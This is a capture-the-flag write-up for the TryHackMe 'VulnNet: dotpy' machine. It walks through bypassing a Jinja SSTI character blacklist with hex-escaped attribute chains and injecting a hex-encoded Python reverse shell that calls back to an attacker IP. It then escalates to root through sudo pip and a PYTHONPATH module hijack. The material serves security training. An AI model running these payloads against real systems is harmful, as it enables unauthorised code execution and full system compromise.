Information
Room#
- Name: VulnNet: dotpy
- Profile: tryhackme.com
- Difficulty: Medium
- Description: VulnNet Entertainment is back with their brand new website... and stronger?
Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
1 | $ sudo pacman -S nmap ffuf ruby ctf-party gtfoblookup |
Network enumeration#
Let's start by adding a custom domain to the machine:
1 | $ grep vulnnetdotpy /etc/hosts |
Port and service scan with nmap:
1 | # Nmap 7.93 scan initiated Sun Jan 15 19:09:34 2023 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap vulnnetdotpy.thm |
Web discovery#
On port 8080, we are facing a python web application.
We are redirected to a login page: http://vulnnetdotpy.thm:8080/login
We can find an email address hello@vulnnet.com
but the description of the challenge says:
Note: While looking through web pages you might notice a domain vulnnet.com, however, it's not an actual vhost and you don't need to add it to your hosts list.
So let's create an user account and log in.
As the challenge is CTFy, the author borrow a static demo HTML template, most links are empty and most of the content is static. So let's find where there are dynamic asset and where the user input is reflected.
- The email address is reflected on the user dropdown menu
- The username is reflected on the logout button
- 404 error page reflects the page name
Web exploitation: SSTI#
On a page like http://vulnnetdotpy.thm:8080/xyzpage, we'll see the message No results for xyzpage
.
Now if we ask for http://vulnnetdotpy.thm:8080/42 (/{{ 6 * 7 }}
), the resulting message is No results for 42
, proof that the input is evaluated. So we can try to exploit an SSTI.
Let's try more payloads.
{{ config }}
1 | <Config {'ENV': 'production', 'DEBUG': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'S3cr3t_K#Key', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'SQLALCHEMY_DATABASE_URI': 'sqlite:////home/web/shuriken-dotpy/db.sqlite3', 'SQLALCHEMY_TRACK_MODIFICATIONS': False, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 'SQLALCHEMY_ENGINE_OPTIONS': {}}> |
{{ config['SECRET_KEY'] }}
1 | Your request has been blocked. |
So some characters are blacklisted.
Web fuzzing#
Let's try to identify all blocked characters. Doing that manually is exhausting and time consuming. So let's automate that with ffuf
.
Initially I would have done something like that:
1 | $ ruby -e '("!".."~").each{|c| puts c}' | ffuf -u 'http://vulnnetdotpy.thm:8080/{{ FUZZ }}' -w - -H 'Cookie: session=.eJwljklqBTEMRO_idRaaLMt9mcZSyyQEEuhhFXL3b_jLKop676_s88zrs2z3-eRH2b-OspWGIOhEdHBEG-kEidNSJ9cUn5Wj86GmYV4BI5R6x8hKPRgoBqcp9yYuvtbRla0RWKJXTOpzDBUf4kpuRq0SZ5gAWgsSz7JEnivPtw2uGNc59_v3O39WAa0uFE9XiFhgSYehesj61xQNmYasWv5fukw-sw.Y8RE2Q.R8qAq9aw1LMmb0LS29BHjI9MBq4' -mc 403 |
ruby -e '("!".."~").each{|c| puts c}'
will enumerate most of the printable range of the ASCII table-H 'Cookie: session=...
it's mandatory to provide a valid cookie else every request turns into an authorization error-mc 403
we wan't to mach only HTTP code 403 since we want to detect only blocked characters
But the challenge app being poorly written, blocking messages are returning a HTTP 404 since it's using the 404 error template but just changing the text to 403. So instead of matching only 403 we have to match 404 and do an extra content check. So changing -mc 403
into -mc 404 -mr blocked -mmode and
1 | $ ruby -e '("!".."~").each{|c| puts c}' | ffuf -u 'http://vulnnetdotpy.thm:8080/{{ FUZZ }}' -w - -H 'Cookie: session=.eJwljklqBTEMRO_idRaaLMt9mcZSyyQEEuhhFXL3b_jLKop676_s88zrs2z3-eRH2b-OspWGIOhEdHBEG-kEidNSJ9cUn5Wj86GmYV4BI5R6x8hKPRgoBqcp9yYuvtbRla0RWKJXTOpzDBUf4kpuRq0SZ5gAWgsSz7JEnivPtw2uGNc59_v3O39WAa0uFE9XiFhgSYehesj61xQNmYasWv5fukw-sw.Y8RE2Q.R8qAq9aw1LMmb0LS29BHjI9MBq4' -mc 404 -mr blocked -mmode and |
This way we found that blocked characters are .[]_
(in the ASCII range, deliberately ignoring ones triggering 500 errors).
As in pyjails, we could replace .
with |attr('')
as we have a Jinja template engine (identified in 500 error) and just hex escape the 3 other characters in a string cf. https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#accessing-subclasses-with-bypasses.
Also eval()
, dir()
, vars()
, locals()
, len()
, etc. are undefined.
First let's obtain a code execution.
1 | # Get code execution |
But print()
and most default function I can think of are undefined.
As you can see in my write-up about TMHC CTF 2019 - BoneChewerCon:
So I can get use of |attr to use an object attribute and array.pop(0) instead of array[0]. But since . is forbidden too I must use |attr("pop")(0). I can also use |list to convert anything as a list, |string to cast to a string, |join to convert from an array/list to a string, etc.
Let's get a paylaod from my previous WU.
So first, we exec ().__class__.__base__.__subclasses__()
to get the index of subprocess.Popen
which is at index 401 on the server.
1 | # Raw |
here is another method found in Aquinas write-up that has the advantage of not having to count the subclasses but the disadvantage of working only in Flask environment.
1 | # Raw |
Let's generate a reverse shell with revshells.com.
1 | python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.18.25.199",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")' |
Let's use ctf-party to escape the whole payload else nested strings will be a mess in addition to blocked characters.
1 | $ ctf-party_console |
Including the reverse shell payload into the SSTI payload gives us this final form:
1 | ()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('pop')(401)('\x70\x79\x74\x68\x6f\x6e\x33\x20\x2d\x63\x20\x27\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73\x2c\x70\x74\x79\x2c\x73\x6f\x63\x6b\x65\x74\x3b\x73\x3d\x73\x6f\x63\x6b\x65\x74\x2e\x73\x6f\x63\x6b\x65\x74\x28\x29\x3b\x73\x2e\x63\x6f\x6e\x6e\x65\x63\x74\x28\x28\x22\x31\x30\x2e\x31\x38\x2e\x32\x35\x2e\x31\x39\x39\x22\x2c\x39\x39\x39\x39\x29\x29\x3b\x5b\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x66\x29\x66\x6f\x72\x20\x66\x20\x69\x6e\x28\x30\x2c\x31\x2c\x32\x29\x5d\x3b\x70\x74\x79\x2e\x73\x70\x61\x77\x6e\x28\x22\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x22\x29\x27',shell=True,stdout=-1)|attr('communicate')() |
System discovery#
Of course we have a low privileges web user:
1 | web@vulnnet-dotpy:~/shuriken-dotpy$ id |
By curiosity, let's look at the source code we just bypassed:
1 | web@vulnnet-dotpy:~/shuriken-dotpy$ grep -r TemplateNotFound . |
We can execute commands as system-adm:
1 | web@vulnnet-dotpy:~/shuriken-dotpy$ sudo -l |
System exploitation: EoP from web to system-adm#
We can use gtfoblookup to quickly identify an EoP for pip
.
1 | $ gtfoblookup gtfobins search -c sudo pip |
Let's exploit it:
1 | web@vulnnet-dotpy:~/shuriken-dotpy$ mkdir /tmp/noraj && TF=/tmp/noraj |
System exploitation: EoP from system-adm to root#
Now we can execute /opt/backup.py
as root.
1 | system-adm@vulnnet-dotpy:/tmp/pip-9cyzsf3i-build$ id |
SETENV
allows to set an environment variable.
Now let's look at /opt/backup.py
:
1 | from datetime import datetime |
We don't really mind what the script does, we can set PYTHONPATH
and the script will try to load the moduels from here when importing.
1 | system-adm@vulnnet-dotpy:~$ echo 'import pty; pty.spawn("/bin/bash")' > /dev/shm/zipfile.py |
Flags#
1 | root@vulnnet-dotpy:~# cat /root/root.txt |